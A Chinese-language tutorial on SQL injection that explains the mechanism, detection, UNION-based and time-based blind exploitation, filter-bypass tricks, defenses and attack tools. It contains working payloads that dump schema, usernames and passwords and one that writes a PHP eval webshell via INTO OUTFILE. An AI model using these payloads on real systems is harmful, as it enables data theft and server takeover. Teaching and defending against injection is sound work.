Web安全 - SQL注入
SQL Injection
一、原理
1. 什么是数据库?
数据库就是按照数据结构来组织、存储和管理数据的建立在计算机存储设备上的仓库。
2. 什么是SQL?
一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理数据库系统。常见数据库比如 Access、SQL Server、MySQL、Oracle、Sybase、DB2以及其他数据库系统。
3. 什么是SQL注入?
SQL注入 就是一种 通过操作输入 来修改后台SQL语句达到 执行恶意SQL代码 进行攻击目的的技术。
4. SQL注入是怎么产生的?
构造动态字符串是一种编程技术,它允许开发人员在运行过程中动态构造SQL语句。开发人员可以使用动态SQL来创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,它根据不同的条件产生不同的 SQL语句。当开发人员在运行过程中需要根据不同的查询标准来决定提取什么字段(如SELECT语句),或者根据不同的条件来选择不同的查询表时,动态构造SQL语句会非常有用。
在 PHP 中动态构造 SQL 语句字符串:$query = "SELECT * FROM users WHERE username = ".$_GET["admin"];
通过控制输入参数admin,修改所要执行SQL语句逻辑,达到攻击的目的。
二、寻找
常见的注入点
- GET 请求:该请求在 URL 中发送参数。
- POST 请求:数据被包含在请求体中。
- 其他注入型数据:HTTP 请求的头部字段也可能会触发 SQL 注入漏洞
1. 有错误信息返回
在注入点参数中添加单/双引号,看是否会返回错误信息:error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
2. 无错误信息返回
and : 同为真时为真。or : 同为假时为假。
如果页面不返回任何错误信息,我们就可以借助本方法来推断了,首先我们在参数后面加上 and 1=1 和 and 1=2 看看有什么不同。
and 1=1 能返回数据,而 and 1=2 没有,这是由于 1=1是一个为真的条件,前面的结果是 true,true and true 所以没有任何问题,第二个 1=2 是个假条件, true and false 还是 false,所以就没有数据返回。
先把参数改为很大的数或负数,要让它查询不到数据,我们加上 or 1=1 就成功返回了数据,这是因为 1=1 为真,不管前面是不是假,数据都会返回。当 or 1=2 时,因为 1=2 为假,前后都为假,最终也是假,数据就不会返回了。
三、利用
1. 识别数据库
1.1 通过网站脚本类型判断
- PHP -> Oracle、MySQL
- JSP -> Oracle、MySQL
- ASP/.NET -> SQL Server
1.2 通过错误信息判断
- MySQL ->
error:You have an error in your SQL syntax; check themanual that corresponds to your MySQL server version
- Oracle ->
Microsoft OLE DB Provider for ODBC Drivers 错误
1.3 通过数字函数判断
- SQL Server ->
@@pack_received、@@rowcount
- MySQL ->
connection_id()、last_insert_id() 、 row_count()
- Oracle ->
BITAND(1,1)
- PostgreSQL ->
select EXTRACT(DOW FROMNOW())
2. UINON 语句提取数据
UNION 操作符可以合并两条或多条 SELECT 语句的查询结果,基本语法如下:select column1 column2 from table1 UNION select column1 column2 from table2
使用UNION 要满足两个条件:
1.两个查询返回的列数必须相同
2.两个查询语句对于列返回的数据类型必须相同
2.1 列数获得
order by
子句可以帮助我们得到列数。// 最大且不报错的数即为我们所要得到的列数。
2.2 列回显点获得
?id=-1' union select 1,2,3%23
先查询一个不存在的参数,本应该返回空的;
但是使用UNION查询,会输出后面的查询;
用数字去占位,所以能看到的数字就是回显点。
2.3 猜解数据库
1. 查询数据库版本信息
?id=' union select 1,version(),3%23
2. 查询当前数据库和用户
?id=' union select 1,database(),user()%23
3. 查询所有数据库
?id=' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
4. 查询表名
?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23
5. 查询列名
?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23
5. 查询字段值
?id=' union select 1,(select group_concat(username separator ';') from users),(select group_concat(password separator ';') from users)%23
2.4 获取哈希口令
哈希口令是通过使用PASSWORD()函数计算的,具体算法取决于MySQL安装的版本。select password('admin')
也可以通过在线解密网站进行解密。如 CMD5
2.5 写入Webshell
需要得到网站的绝对路径,数据库管理系统有向服务器文件系统写文件的权限。?id=1' union select "<?php @eval($_POST['cmd']);?>" into outfile "D:\\XXX\\conn.php"%23
2.6 盲注利用
上面是显注的一般利用过程,盲注的话,改一下基本查询语句,利用sleep()函数,过程上与显注类似。
id=1 union select 1,if(SUBSTRING(user(),1,4)='root',sleep(5),1),3
IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。
四、防御
Web应用为了防御包括SQL注入在内的攻击,常常使用输入过滤器,这些过滤器可以在应用的代码中,也可以通过外部实现,比如 Web 应用防火墙和入侵防御系统。
1. 绕过方法总结
1.1 大小写
这种方法适用于关键字阻塞过滤器不聪明的时候,我们可以变换关键字字符串中字符的大小写来避开过滤,因为使用不区分大小写的方式处理SQL关键字。
1.2 URL编码
通过把我们构造的payload中的特殊字符进行URL编码,然后过滤器就不会匹配到,$_GET函数本身会对括号内的字符串进行URL解码,从而实现绕过。空格
->%20、"
->%22、#
->%23、%
->%25、'
->%27、(
->%28、)
->%29 ...
1.3 SQL注释
//
、--
、/* */
、 #
、--+
1.4 空字节
通常的输入过滤器都是在应用程序之外的代码实现的。比如入侵检测系统,这些系统一般是由原生编程语言开发而成,比如C++,为什么空字节能起作用呢,就是因为在原生编程语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。只需要在过滤器阻止的字符串前面提供一个采用 URL 编码的空字节即可,例如:%00' union select username,password from users where username='admin' --
1.5 等价函数与命令
ascii()
-> hex()、bin()
sleep()
-> benchmark()
group_concat()
-> concat_ws()
substr()
-> mid()、substring()
user()
-> @@user
datadir()
-> @@datadir
2. 防御技巧
2.1 输入验证
输入验证是指要验证所有应用程序接收到的输入是否合法。有两中不同类型的输入验证方法:白名单和黑名单验证
- 白名单验证:比如id值,那么我们判断它是否为数字。
- 黑名单验证:使用正则表达式禁止使用某些字符和字符串
应该尽量使用白名单,对于无法使用白名单的,使用黑名单提供局部限制。
2.2 编码输出
- 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口结合预编译语句可以非常有效的防止SQL注入攻击。
- 对进入数据库的特殊字符('"<>&*;-- 等)进行转义处理,或编码转换。
- 确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
- 数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
- 网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
- 使用低权限账号启动数据库,禁用数据库的危险函数如 xp_cmd ,禁用危险存储过程
- 用户权限使用最小权限原则,比如只使用到读权限的用户,只分配查询权限。
五、工具
SQLmap
sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用 SQL 注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎 , 针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
Pangolin
Pangolin是一款帮助渗透测试人员进行 SQL 注入测试的安全工具。它具备友好的图形界面以及支持测试几乎所有数据库,并能够通过一系列非常简单的操作,达到最大化的攻击测试效果。
Havij
Havij 是一款自动化的 SQL 注入工具,它不仅能够自动挖掘可利用的 SQL 查询,还能够识别后台数据库类型、检索数据的用户名和密码 hash、转储表和列、从数据库中提取数据,甚至访问底层文件系统和执行系统命令。
SSQLInjection
超级SQL注入工具(SSQLInjection)是一款基于 HTTP协议自组包的SQL注入工具,支持出现在 HTTP 协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入。目前支持 Bool 型盲注、错误显示注入、Union注入,支持 Access、MySQL 5以上版本、SQLServer、Oracle等数据库。采用C# 开发,底层采用Socket发包进行HTTP交互,极大的提升了发包效率,相比C#自带的 HttpWebRequest 速度提升2-5倍。支持盲注环境获取世界各国语言数据,直接秒杀各种注入工具在盲注环境下无法支持中文等多字节编码的数据。
The Mole
The Mole 是一款开源的自动化SQL注入工具,其可绕过IPS/IDS(入侵防御系统/入侵检测系统)。只需提供一个URL和一个可用的关键字,它就能够检测注入点并利用。The Mole可以使用union注入技术和基于逻辑查询的注入技术。The Mole攻击范围包括SQL Server、MySQL、Postgres和Oracle数据库。
BBQSQL
BBQSQL是一个Python编写的盲注工具(Blind SQL injection framework),当你检测可疑的注入漏洞时会很有用。同时 BBQSQL 是一个半自动工具,允许客户自定义参数。
Jsql
JSQL 是一款 Java 开发的轻量级远程服务器数据库注入漏洞测试工具,且免费、开源、跨平台 (Windows,Linux, Mac OS X, Solaris)。
Sqlsus
sqlsus是一个开放源代码的 MySQL 注入和接管工具,sqlsus 使用 perl 编写 , 基于命令行界面。sqlsus可以获取数据库结构,注入你自己的 SQL 语句,从服务器下载文件,爬行 web 站点可写目录,上传和控制后门,克隆数据库等等
参考:i春秋半月刊 https://bbs.ichunqiu.com/thre...